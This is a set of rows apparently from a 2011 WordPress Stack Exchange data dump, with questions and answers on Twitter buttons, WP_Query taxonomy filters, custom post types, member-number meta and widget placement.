  <row Id="25483" PostTypeId="1" CreationDate="2011-08-09T22:03:48.067" Score="0" ViewCount="63" Body="&lt;p&gt;I'm stuck. I have a client blog using bit.ly pro to generate custom short urls (ie foo.co). I want to show the regular horizontal version of the Twitter button, with tweet-count, and have the link that goes to the post use their custom bit.ly pro url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed &lt;a href=&quot;http://yoast.com/wordpress/bitly-shortlinks/&quot; rel=&quot;nofollow&quot;&gt;Joost de Valk's Bit.ly Shortlinks plugin&lt;/a&gt;, which successfully converts normal WP shortlinks (&lt;code&gt;wp_get_shortlink()&lt;/code&gt;) to the custom Bit.ly pro URL elsewhere in the site, but Twitter seems to trump that and render everything with the default t.co domain instead. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the function I created to insert the button in my theme - any ideas on where I'm going wrong? this is used to insert the button both within the Loop and on single-post pages.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tweet_this() {&#xA;    global $post;&#xA;    ob_start();&#xA;    $tweet = wp_get_shortlink();&#xA;    echo '&amp;lt;script src=&quot;http://platform.twitter.com/widgets.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;a href=&quot;http://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-url=&quot;' .  $tweet . '&quot; data-counturl=&quot;' . $tweet . '&quot; data-count=&quot;horizontal&quot; data-via=&quot;clietname&quot; data-text=&quot;' . get_the_title() . '&quot;&amp;gt;Tweet&amp;lt;/a&amp;gt;';&#xA;    return ob_get_clean();  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In case it helps, this function &lt;em&gt;does&lt;/em&gt; work, except it doesn't render the tweet-count:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function tweet_this() {&#xA;    global $post;&#xA;    ob_start();&#xA;    $tweet = sprintf( __('%1$s %2$s'), $post-&amp;gt;post_title, wp_get_shortlink() );&#xA;    echo '&amp;lt;a class=&quot;tweethis&quot; href=&quot;http://twitter.com/intent/tweet?text=' . urlencode( $tweet ) . ' via @clientname&quot;&amp;gt;Tweet this&amp;lt;/a&amp;gt;';&#xA;    return ob_get_clean();  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if you need more info - and thanks in advance for any help you can throw my way!&#xA;Michelle&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-09T22:03:48.067" Title="Way to get Twitter button, with count, with custom bit.ly URL, working?" Tags="&lt;twitter&gt;&lt;tweet-count&gt;&lt;shortlinks&gt;&lt;bit.ly&gt;" CommentCount="4" />
  <row Id="25484" PostTypeId="2" ParentId="25471" CreationDate="2011-08-09T22:31:35.473" Score="0" ViewCount="" Body="&lt;p&gt;In fact it works; i just didn't bind the behaviour to the right element. It should be bound to the #mainmenu&gt;li and then it works. Dumb me!&lt;/p&gt;&#xA;" OwnerUserId="82" LastActivityDate="2011-08-09T22:31:35.473" />
  <row Id="25485" PostTypeId="2" ParentId="24697" CreationDate="2011-08-09T22:55:51.710" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm looking to find if there is a performance, maintenance or other&#xA;  benefit to use one over the other.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The only difference is SEO. And also subdomain require wildcard subdomains st up server side. Subfolders stuff a /blog/ off the main site only for permalink collisions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, within WP itself is irrelevant.&lt;/p&gt;&#xA;" OwnerUserId="7779" LastActivityDate="2011-08-09T22:55:51.710" />
  <row Id="25486" PostTypeId="2" ParentId="24652" CreationDate="2011-08-09T22:58:25.357" Score="0" ViewCount="" Body="&lt;p&gt;We also covered this in the wordpress.org forums. :) the answer is no. Our sugestion was to make the main site a landing page and set up each year on their subdomains, just like the WordCamp.org site does now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;archiving&quot; a site in multisite basically shuts it down. (See Network Admin -&gt; Sites) so that's not what you'd want.&lt;/p&gt;&#xA;" OwnerUserId="7779" LastActivityDate="2011-08-09T22:58:25.357" />
  <row Id="25487" PostTypeId="2" ParentId="25068" CreationDate="2011-08-09T23:00:38.207" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/multisite-plugin-manager/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/multisite-plugin-manager/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7779" LastActivityDate="2011-08-09T23:00:38.207" CommentCount="1" />
  <row Id="25488" PostTypeId="1" CreationDate="2011-08-09T23:54:57.790" Score="0" ViewCount="18" Body="&lt;p&gt;For a number of reasons I need to filter a post type's archive page to either show every post or only posts matching a particular term, in this case &lt;em&gt;status&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using a _GET variable to pass the intended term to WP_Query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$showme = $_GET[&quot;show&quot;];&#xA;if ($showme == &quot;presale&quot;) $showterm = 'pre-sale';&#xA;    if($showme) {} else { $showterm = 'pre-sale'; }&#xA;if ($showme == &quot;forsale&quot;) $showterm = 'for-sale';&#xA;if ($showme == &quot;ondeposit&quot;) $showterm = 'on-deposit';&#xA;if ($showme == &quot;sold&quot;) $showterm = 'sold';&#xA;if ($showme == &quot;hold&quot;) $showterm = 'hold';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My function works on non-archive pages and I understand that this is not how most people would use the archive template.... but it's looks so much cleaner!  =)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$archive_loop = new WP_Query( array(&#xA;    'post_type' =&amp;gt; 'inventory',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'posts_per_page' =&amp;gt; 10,&#xA;    'paged' =&amp;gt; $paged,&#xA;    'tax_query' =&amp;gt; array(&#xA;        'taxonomy' =&amp;gt; 'status', &#xA;        'terms' =&amp;gt; $showterm, &#xA;        'field' =&amp;gt; 'slug')&#xA;)   );&#xA;if($archive_loop-&amp;gt;have_posts())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using the archive template here because WordPress creates the content automatically and it reduces the number of custom page templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/aaBg6.png&quot; alt=&quot;tax_query on archive&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-08-09T23:54:57.790" Title="Will tax_query work on an archive page?" Tags="&lt;wp-query&gt;&lt;archive&gt;&lt;custom-post-type-archives&gt;" />
  <row Id="25489" PostTypeId="1" AcceptedAnswerId="25495" CreationDate="2011-08-10T00:10:04.827" Score="0" ViewCount="25" Body="&lt;p&gt;Sorry for this but I am sure this is a duplicate question, but I have been searching, but I cannot find a suitable answer for this question. I hope you still can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a website with a few static pages, and a blog. Now on one of the static pages, the portfolio page, I want to have all of my work in boxes in a list. Just like you would have blog posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I not want to create a post for each of the work I have done, because it will mingle with the blog I guess. Is there another option on WP to have snippets of content, just as posts, which could be loaded into a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should I just create the whole portfolio page just as a big static page.&lt;/p&gt;&#xA;" OwnerUserId="7781" LastActivityDate="2011-08-10T00:55:30.497" Title="How can I get dynamic content on my static home page" Tags="&lt;theme-development&gt;" AnswerCount="1" />
  <row Id="25490" PostTypeId="1" CreationDate="2011-08-10T00:19:45.817" Score="1" ViewCount="24" Body="&lt;p&gt;I can get a category id or slug for my custom taxonomy just fine, but I then need to be able to get all the posts as an array for that taxonomy entry.&#xA;My code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;                'post_type' =&amp;gt; 'product',&#xA;                'post_status' =&amp;gt; 'publish',&#xA;                'posts_per_page' =&amp;gt; -1&#xA;                );&#xA;                $the_query = new WP_Query( $args );&#xA;                while ( $the_query-&amp;gt;have_posts() ) : $the_query-&amp;gt;the_post();&#xA;&#xA;endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I add 'category_name'=&gt;'my_taxonomy_name' to the args array, it just causes the $the_query to be empty although I know that there is post in there.&#xA;I have also tried changing it to 'cat'=&gt;22, but this also has the same fault.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;John&lt;/p&gt;&#xA;" OwnerUserId="5688" LastActivityDate="2011-08-10T00:26:44.690" Title="get a list of posts from Custom Taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="25491" PostTypeId="2" ParentId="25490" CreationDate="2011-08-10T00:26:44.690" Score="2" ViewCount="" Body="&lt;p&gt;Check out the &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Taxonomy_Parameters&quot; rel=&quot;nofollow&quot;&gt;Taxonomy Parameters&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'product',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'posts_per_page' =&amp;gt; -1,&#xA;    'tax_query' =&amp;gt; array(&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'taxonomy_name',&#xA;            'field' =&amp;gt; 'id',&#xA;            'terms' =&amp;gt; '22'&#xA;        )&#xA;    )&#xA;);&#xA;$the_query = new WP_Query( $args );&#xA;while ( $the_query-&amp;gt;have_posts() ) : $the_query-&amp;gt;the_post();&#xA;    //content&#xA;endwhile;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2011-08-10T00:26:44.690" CommentCount="1" />
  <row Id="25492" PostTypeId="1" CreationDate="2011-08-10T00:36:29.033" Score="0" ViewCount="36" Body="&lt;p&gt;Im trying to add wp_insert_category in my code with a no duplicate code added on to it but it just stops adding post to the site completely, it works fine when i dont try to add in the wp_insert_category function am I adding this correctly?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function yelplist(){&#xA;    require_once ('/lib/OAuth.php'); &#xA;    require_once ('yelp.php'); &#xA;&#xA;    $yelpstring = file_get_contents('http://api.yelp.com/business_review_search?term=pizza&amp;amp;location=Los%20Angeles&amp;amp;ywsid=xxxxxxxxx');&#xA;    $obj = json_decode($yelpstring);&#xA;&#xA;    foreach($obj-&amp;gt;businesses as $business):&#xA;    &quot;&amp;lt;img border=0 src='&quot;.$business-&amp;gt;photo_url.&quot;'&amp;gt;&amp;lt;br/&amp;gt;&quot;;&#xA;    $business-&amp;gt;name; &#xA;    $business-&amp;gt;address1;&#xA;    $business-&amp;gt;address2;&#xA;    $business-&amp;gt;phone;&#xA;    $city = $business-&amp;gt;city;&#xA;    $state = $business-&amp;gt;state;&#xA;    $business-&amp;gt;latitude;&#xA;    $business-&amp;gt;longitude;&#xA;    $zip = $business-&amp;gt;zip;&#xA;    $business-&amp;gt;reviews-&amp;gt;user_photo_url;&#xA;    //near by pizza $business-&amp;gt;categories[0]-&amp;gt;search_url .&quot;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&quot;;&#xA;&#xA;   $pizza_post = array(&#xA;     'post_title' =&amp;gt; ''.$business-&amp;gt;name.'',&#xA;     'post_content' =&amp;gt; 'This is my post.',&#xA;     'post_author' =&amp;gt; 1,&#xA;     'post_status' =&amp;gt; 'publish', &#xA;     'post_type' =&amp;gt; 'post',&#xA;     'post_category' =&amp;gt; array($city,$zip)&#xA;  ); &#xA;&#xA;    $the_post_id = wp_insert_post($pizza_post);&#xA;&#xA;    update_post_meta($the_post_id,'zip_code',$zip);&#xA;    update_post_meta($the_post_id,'city',$city);&#xA;    update_post_meta($the_post_id,'state',$state);&#xA;&#xA;    $no_duplicate_meta = array(&quot;meta_key&quot; =&amp;gt; &quot;zip_code&quot;, &quot;meta_value&quot; =&amp;gt;$zip);&#xA;    $no_duplicate_meta = array(&quot;meta_key&quot; =&amp;gt; &quot;city&quot;, &quot;meta_value&quot; =&amp;gt;$city);&#xA;    $no_duplicate_meta = array(&quot;meta_key&quot; =&amp;gt; &quot;state&quot;, &quot;meta_value&quot; =&amp;gt;$state);&#xA;&#xA;    $no_duplicate_cat = array('cat_name' =&amp;gt; ''.$state.'', 'category_description' =&amp;gt; '', 'category_nicename' =&amp;gt; ''.$state.'', 'category_parent' =&amp;gt; ''.$city.','.$zip.'');&#xA;&#xA;&#xA;    wp_insert_category($no_duplicate_cat);&#xA;&#xA;    $no_duplicate_posts = get_posts($no_duplicate_meta);&#xA;    if (count($no_duplicate_posts) &amp;lt; 0){&#xA;    }&#xA;&#xA;    endforeach;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2635" LastEditorUserId="2635" LastEditorDisplayName="" LastEditDate="2011-08-11T17:21:55.383" LastActivityDate="2011-08-11T17:21:55.383" Title="how to add wp_insert _category" Tags="&lt;wp-insert-post&gt;&lt;post-duplication&gt;" CommentCount="2" />
  <row Id="25493" PostTypeId="1" CreationDate="2011-08-10T00:37:45.637" Score="1" ViewCount="27" Body="&lt;p&gt;I need to add a number to user as meta info (it's a 5 digit number) at the time they register. I assume I would use the user_register action to call a script. I also assume I would use update_user_meta to add the number. But I am not sure how to increment it up one for the next user. Would I have to have a lookup table to see what the last one was? Is there away to look at the last members usermeta(member_number) and then add one? What would be the best way to handle this. There currently exists a roster with assigned numbers, which when I import the users they will receive their number. But after that the next member needs to start at the last number in this roster.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I tried&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Add member number at time of registration&#xA;global $current_user;&#xA;      get_currentuserinfo();&#xA;&#xA;function add_member_no() {&#xA;    // just to stick something in the first time.&#xA;    $start_no = 507602;&#xA;    add_option('member_no', $start_no);&#xA;&#xA;    $last_member_no = get_option(member_no);&#xA;    $last_member_no += $last_member_no;&#xA;    update_option('member_no', $last_member_no);&#xA;&#xA;    add_user_meta($current_user-&amp;gt;id, 'membership_no', $last_member_no);&#xA;}&#xA;add_action( 'user_register', 'add_member_no');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4418" LastEditorUserId="1014" LastEditorDisplayName="" LastEditDate="2011-08-13T21:51:26.257" LastActivityDate="2011-08-13T21:56:21.040" Title="Add a member number to new user" Tags="&lt;usermeta&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="25494" PostTypeId="2" ParentId="25418" CreationDate="2011-08-10T00:39:47.687" Score="0" ViewCount="" Body="&lt;h3&gt;This was covered extensively in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1507/steps-to-take-to-hide-the-fact-a-site-is-using-wordpress/1509#1509&quot;&gt;Steps to Take to Hide the Fact a Site is Using WordPress&lt;/a&gt;.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The answer in that question covered renaming the wp-content and the plugin directory.  If you prefer rewriting those directories you can use these functions found in the &lt;a href=&quot;https://github.com/retlehs/roots&quot; rel=&quot;nofollow&quot;&gt;Roots WordPress theme&lt;/a&gt; to rewrite the directories relative to your sites root directory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (stristr($_SERVER['SERVER_SOFTWARE'], 'apache') !== false) {&#xA;    function roots_htaccess_writable() {&#xA;        if (!is_writable(get_home_path() . '.htaccess')) {&#xA;            add_action('admin_notices', create_function('', &quot;echo '&amp;lt;div class=\&quot;error\&quot;&amp;gt;&amp;lt;p&amp;gt;&quot; . sprintf(__('Please make sure your &amp;lt;a href=&quot;%s&quot;&amp;gt;.htaccess&amp;lt;/a&amp;gt; file is writeable ', 'roots'), admin_url('options-permalink.php')) . &quot;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;';&quot;));&#xA;        };&#xA;    }&#xA;&#xA;    add_action('admin_init', 'roots_htaccess_writable');&#xA;&#xA;    // Rewrites DO NOT happen for child themes&#xA;    // rewrite /wp-content/themes/roots/css/ to /css/&#xA;    // rewrite /wp-content/themes/roots/js/  to /js/&#xA;    // rewrite /wp-content/themes/roots/img/ to /js/&#xA;    // rewrite /wp-content/plugins/ to /plugins/&#xA;&#xA;    function roots_flush_rewrites() {&#xA;        global $wp_rewrite;&#xA;        $wp_rewrite-&amp;gt;flush_rules();&#xA;    }&#xA;&#xA;    function roots_add_rewrites($content) {&#xA;        $theme_name = next(explode('/themes/', get_stylesheet_directory()));&#xA;        global $wp_rewrite;&#xA;        $roots_new_non_wp_rules = array(&#xA;            'css/(.*)'      =&amp;gt; 'wp-content/themes/'. $theme_name . '/css/$1',&#xA;            'js/(.*)'       =&amp;gt; 'wp-content/themes/'. $theme_name . '/js/$1',&#xA;            'img/(.*)'      =&amp;gt; 'wp-content/themes/'. $theme_name . '/img/$1',&#xA;            'plugins/(.*)'  =&amp;gt; 'wp-content/plugins/$1'&#xA;        );&#xA;        $wp_rewrite-&amp;gt;non_wp_rules += $roots_new_non_wp_rules;&#xA;    }&#xA;&#xA;    add_action('admin_init', 'roots_flush_rewrites');&#xA;&#xA;    function roots_clean_assets($content) {&#xA;        $theme_name = next(explode('/themes/', $content));&#xA;        $current_path = '/wp-content/themes/' . $theme_name;&#xA;        $new_path = '';&#xA;        $content = str_replace($current_path, $new_path, $content);&#xA;        return $content;&#xA;    }&#xA;&#xA;    function roots_clean_plugins($content) {&#xA;        $current_path = '/wp-content/plugins';&#xA;        $new_path = '/plugins';&#xA;        $content = str_replace($current_path, $new_path, $content);&#xA;        return $content;&#xA;    }&#xA;&#xA;    // only use clean urls if the theme isn't a child or an MU (Network) install&#xA;    if (!is_multisite() &amp;amp;&amp;amp; !is_child_theme()) {&#xA;        add_action('generate_rewrite_rules', 'roots_add_rewrites');&#xA;        if (!is_admin()) { &#xA;            add_filter('plugins_url', 'roots_clean_plugins');&#xA;            add_filter('bloginfo', 'roots_clean_assets');&#xA;            add_filter('stylesheet_directory_uri', 'roots_clean_assets');&#xA;            add_filter('template_directory_uri', 'roots_clean_assets');&#xA;        }&#xA;    }&#xA;&#xA;    function roots_add_h5bp_htaccess($rules) {&#xA;        global $wp_filesystem;&#xA;&#xA;        if (!defined('FS_METHOD')) define('FS_METHOD', 'direct');&#xA;        if (is_null($wp_filesystem)) WP_Filesystem(array(), ABSPATH);&#xA;&#xA;        if (!defined('WP_CONTENT_DIR'))&#xA;        define('WP_CONTENT_DIR', ABSPATH . 'wp-content');   &#xA;&#xA;        $theme_name = next(explode('/themes/', get_template_directory()));&#xA;        $filename = WP_CONTENT_DIR . '/themes/' . $theme_name . '/inc/h5bp-htaccess';&#xA;&#xA;        $rules .= $wp_filesystem-&amp;gt;get_contents($filename);&#xA;&#xA;        return $rules;&#xA;    }&#xA;&#xA;    add_action('mod_rewrite_rules', 'roots_add_h5bp_htaccess');&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will also need to make sure and remove the W3 Total Cache X-Powered-by headers .&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;         Header set X-Powered-By &quot;W3 Total Cache/0.9.2.3&quot;&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If your going to use a CDN W3 Total Cache will use the same path structure: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;wp-content/w3tc/min/xxxxx/default.include.xxxx.css&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you will either need to rewrite these using .htaccess on the CDN if you have access or not use minify.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-08-10T00:39:47.687" CommentCount="2" />
  <row Id="25495" PostTypeId="2" ParentId="25489" CreationDate="2011-08-10T00:55:30.497" Score="1" ViewCount="" Body="&lt;p&gt;You have to create Custom Post Type, I've done it for the very first time using &lt;a href=&quot;http://thinkvitamin.com/code/create-your-first-wordpress-custom-post-type/&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you have to add &quot;a few&quot; lines to functions.php and then add your portfolio items as posts in new custom post type (it will be available in your admin panel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps :)&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-08-10T00:55:30.497" CommentCount="1" />
  <row Id="25497" PostTypeId="1" CreationDate="2011-08-10T01:58:39.263" Score="1" ViewCount="18" Body="&lt;p&gt;Is there any way to make the editor display not only pages and posts but also categories/tags in the 'Or link to existing content' section?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/9hsDT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7722" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-10T06:01:14.420" LastActivityDate="2011-08-10T06:01:14.420" Title="Display Categories and Tags in Insert/edit dialog box" Tags="&lt;categories&gt;&lt;tags&gt;&lt;links&gt;&lt;tinymce&gt;" CommentCount="1" />
  <row Id="25498" PostTypeId="2" ParentId="25068" CreationDate="2011-08-10T02:21:50.313" Score="1" ViewCount="" Body="&lt;p&gt;I use Exclude Plugins - &lt;a href=&quot;http://wordpress.org/extend/plugins/exclude-plugins/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/exclude-plugins/&lt;/a&gt; - It works.&lt;/p&gt;&#xA;" OwnerUserId="6817" LastActivityDate="2011-08-10T02:21:50.313" />
  <row Id="25499" PostTypeId="1" AcceptedAnswerId="25500" CreationDate="2011-08-10T02:30:09.253" Score="0" ViewCount="29" Body="&lt;p&gt;I want to create new sidebars, footers, etc. where I'll be able to move widgets. Can I try just try to edit the main CSS file to accomplish this or is it more complicated?&lt;/p&gt;&#xA;" OwnerUserId="7607" LastActivityDate="2011-08-10T02:46:05.740" Title="How do I customize the positioning of Wordpress widgets?" Tags="&lt;widgets&gt;" AnswerCount="1" />
  <row Id="25500" PostTypeId="2" ParentId="25499" CreationDate="2011-08-10T02:46:05.740" Score="1" ViewCount="" Body="&lt;p&gt;Linda, I actually answered a question very similar to this earlier today. See the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/25431/display-specific-widgets-in-different-areas-around-the-page/25436#25436&quot;&gt;Display specific widgets in different area&amp;#39;s around the page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not overly difficult, and opens up a lot of possibilities.&lt;/p&gt;&#xA;" OwnerUserId="7105" LastActivityDate="2011-08-10T02:46:05.740" CommentCount="2" />
  <row Id="25501" PostTypeId="2" ParentId="25433" CreationDate="2011-08-10T03:43:40.303" Score="0" ViewCount="" Body="&lt;p&gt;This is one way I made it work (please check the image attached). Just that I made it as a shortcode, you can use the function/code as you want. Also replace the taxonomy with yours, I used mine!:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_shortcode('dis', 'displayascols');&#xA;function displayascols()&#xA;{&#xA;    $cats = get_terms('companycategory', array('hide_empty'=&amp;gt;0));&#xA;    $l = count($cats);&#xA;&#xA;    if($l%2 == 1)&#xA;    {&#xA;        $l_even = $l-1;&#xA;        $l_half = $l_even/2;&#xA;&#xA;        $cat_1 = array_slice($cats, 0, $l_half);&#xA;        $cat_2 = array_slice($cats, $l_half);&#xA;    }&#xA;    else&#xA;    {&#xA;        $l_even = $l/2;&#xA;&#xA;        $cat_1 = array_slice($cats, 0, $l_even);&#xA;        $cat_2 = array_slice($cats, $l_even);&#xA;    }&#xA;&#xA;    $cat_left = '';&#xA;    $cat_right = '';&#xA;&#xA;    for ($i=0; $i&amp;lt;count($cat_1); $i++){&#xA;        $cat_left .= '&amp;lt;li&amp;gt;&amp;lt;a href='.$cat_1[$i]-&amp;gt;slug.'&amp;gt;'.$cat_1[$i]-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    }&#xA;&#xA;    for ($i=0; $i&amp;lt;count($cat_2); $i++){&#xA;        $cat_right .= '&amp;lt;li&amp;gt;&amp;lt;a href='.$cat_2[$i]-&amp;gt;slug.'&amp;gt;'.$cat_2[$i]-&amp;gt;name.'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    }&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;ul class=&quot;left&quot; style=&quot;float: left;&quot;&amp;gt;&#xA;        &amp;lt;?php echo $cat_left;?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;ul class=&quot;right&quot; style=&quot;float: right;&quot;&amp;gt;&#xA;        &amp;lt;?php echo $cat_right;?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know!&lt;img src=&quot;http://i.stack.imgur.com/4LnV2.png&quot; alt=&quot;here's the output&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4740" LastEditorUserId="4740" LastEditorDisplayName="" LastEditDate="2011-08-10T10:01:22.203" LastActivityDate="2011-08-10T10:01:22.203" CommentCount="6" />
  <row Id="25503" PostTypeId="2" ParentId="16298" CreationDate="2011-08-10T04:48:21.870" Score="0" ViewCount="" Body="&lt;p&gt;There are &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=utf-8&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;a number of plug-ins for WordPress&lt;/a&gt; that will automatically go through your database and correct problems with encoding for UTF-8 and Unicode. I believe one of these would fix your problems.&lt;/p&gt;&#xA;" OwnerUserId="7748" LastActivityDate="2011-08-10T04:48:21.870" CommentCount="1" />
  <row Id="25504" PostTypeId="2" ParentId="23652" CreationDate="2011-08-10T05:16:06.253" Score="0" ViewCount="" Body="&lt;p&gt;I think, the problem is file permission. by default wordpress 3.2.1 come  with folder permission 751, and file permission 640. so, will not visible to see in internet browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;do this: change uploads folder permission to 755, so every time you uploads image will have 644 permission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;check other file in upload/year/month folder: change all file with permission 640 to 644.&lt;/p&gt;&#xA;" OwnerUserId="7783" LastActivityDate="2011-08-10T05:16:06.253" />
  <row Id="25505" PostTypeId="1" CreationDate="2011-08-10T05:20:48.137" Score="0" ViewCount="15" Body="&lt;p&gt;Is there a way to take a plugin slug (e.g. 'akismet') of a plugin that is NOT currently installed and somehow retrieve the download URL of the current version (e.g. 'http://downloads.wordpress.org/plugin/akismet.2.5.3.zip')?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for a command line script I am trying to develop that will enable plugin installation from the command line.&lt;/p&gt;&#xA;" OwnerUserId="300" LastActivityDate="2011-08-10T06:21:49.840" Title="Get plugin download URL from slug" Tags="&lt;plugins&gt;&lt;slug&gt;&lt;installation&gt;&lt;command-line&gt;" AnswerCount="1" />
  <row Id="25506" PostTypeId="2" ParentId="19544" CreationDate="2011-08-10T05:22:30.273" Score="2" ViewCount="" Body="&lt;p&gt;You would need to have subversion installed on the same machine and command line access to the machine.&lt;/p&gt;&#xA;" OwnerUserId="300" LastActivityDate="2011-08-10T05:22:30.273" CommentCount="2" />
  <row Id="25507" PostTypeId="1" CreationDate="2011-08-10T05:38:13.530" Score="0" ViewCount="7" Body="&lt;p&gt;In events calender pro, is it possible to search for and event based on the organizers name? Basically similar to if I were to search for a post within a category -&gt;&gt;&gt; search for an event with an organizer name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated :) &lt;/p&gt;&#xA;" OwnerUserId="7784" LastActivityDate="2011-08-10T05:38:13.530" Title="Events Calender Pro Search for Organizer" Tags="&lt;search&gt;&lt;calendar&gt;" />
  <row Id="25508" PostTypeId="1" CreationDate="2011-08-10T06:04:21.127" Score="1" ViewCount="25" Body="&lt;p&gt;There are tutorials that explain how to limit a search to a specific category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is there a way to configure wordpress' search to, within a custom post type, search for a custom field value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, if I search for &quot;hello&quot;, the results would come up with posts that have a certain custom field equal to &quot;hello&quot;. The certain post would also be a certain custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7784" LastActivityDate="2011-08-10T06:04:21.127" Title="Search Custom Post Type Custom Fields" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;search&gt;" CommentCount="1" />
